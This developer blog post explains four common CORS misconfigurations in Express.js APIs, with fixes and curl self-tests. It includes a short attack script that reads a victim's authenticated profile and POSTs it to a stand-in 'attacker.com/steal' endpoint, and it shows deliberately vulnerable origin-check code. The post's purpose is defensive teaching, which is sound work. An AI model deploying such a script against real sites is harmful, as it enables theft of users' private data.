CORS errors are the most common frustration for web developers. But CORS misconfigurations are one of the most common vulnerabilities for attackers.
I scanned 200 public APIs and found that 23% had CORS misconfigurations that could allow data theft.
Here's what's actually going wrong — and a 5-minute fix.
What CORS Actually Does
CORS (Cross-Origin Resource Sharing) controls which websites can make requests to your API. Without it, any website could read your users' data.
The browser enforces CORS by checking the Access-Control-Allow-Origin header in the API response. If the header doesn't match the requesting origin, the browser blocks the response.
The 4 Most Dangerous CORS Misconfigurations
1. Reflecting Any Origin (23% of APIs I scanned)
// VULNERABLE — reflects whatever origin the attacker sends
app.use((req, res, next) => {
res.setHeader('Access-Control-Allow-Origin', req.headers.origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
next();
});
This is equivalent to having no CORS protection at all. Any website can read your API responses, including authenticated ones.
Attack:
<!-- On attacker's website -->
<script>
fetch('https://vulnerable-api.com/user/profile', {
credentials: 'include' // Sends victim's cookies
})
.then(r => r.json())
.then(data => {
// Steal the victim's private data
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
});
</script>
Fix:
const ALLOWED_ORIGINS = [
'https://myapp.com',
'https://admin.myapp.com',
];
app.use((req, res, next) => {
const origin = req.headers.origin;
if (ALLOWED_ORIGINS.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
}
next();
});
2. Wildcard with Credentials
// This doesn't work (browsers block it) but reveals intent issues
res.setHeader('Access-Control-Allow-Origin', '*');
res.setHeader('Access-Control-Allow-Credentials', 'true');
Browsers actually block this combination — but many developers then "fix" it by switching to origin reflection (mistake #1), which is worse.
3. Allowing Null Origin
// VULNERABLE — allows requests from sandboxed iframes
if (origin === 'null') {
res.setHeader('Access-Control-Allow-Origin', 'null');
}
The null origin comes from sandboxed iframes, local files, and redirects. Attackers use sandboxed iframes to send requests with a null origin.
4. Regex Bypass in Origin Validation
// VULNERABLE — attacker uses evil-myapp.com
if (origin.includes('myapp.com')) {
res.setHeader('Access-Control-Allow-Origin', origin);
}
// ALSO VULNERABLE — attacker uses myapp.com.evil.com
if (origin.endsWith('myapp.com')) {
res.setHeader('Access-Control-Allow-Origin', origin);
}
Fix — use exact matching:
const ALLOWED = new Set([
'https://myapp.com',
'https://app.myapp.com'
]);
if (ALLOWED.has(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
}
Quick Test: Is Your API Vulnerable?
# Test origin reflection
curl -s -I -H "Origin: https://evil.com" https://your-api.com/endpoint | grep -i access-control
# Test null origin
curl -s -I -H "Origin: null" https://your-api.com/endpoint | grep -i access-control
If you see Access-Control-Allow-Origin: https://evil.com — your API is vulnerable.
The Complete Fix (Express.js)
const cors = require('cors');
const corsOptions = {
origin: function (origin, callback) {
const allowedOrigins = [
'https://myapp.com',
'https://admin.myapp.com',
];
// Allow requests with no origin (mobile apps, curl)
if (!origin) return callback(null, true);
if (allowedOrigins.includes(origin)) {
callback(null, true);
} else {
callback(new Error('Not allowed by CORS'));
}
},
credentials: true,
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization'],
};
app.use(cors(corsOptions));
Automated CORS Scanner
I open-sourced a tool that checks for all 4 misconfigurations:
python scanner.py https://your-api.com
It tests origin reflection, null origin, HTTP on HTTPS, and subdomain bypasses — then gives you a grade.
Have you found CORS issues in production? Share your war story below.
More security tools: awesome-devsec-tools
Follow for weekly security deep-dives.
Top comments (0)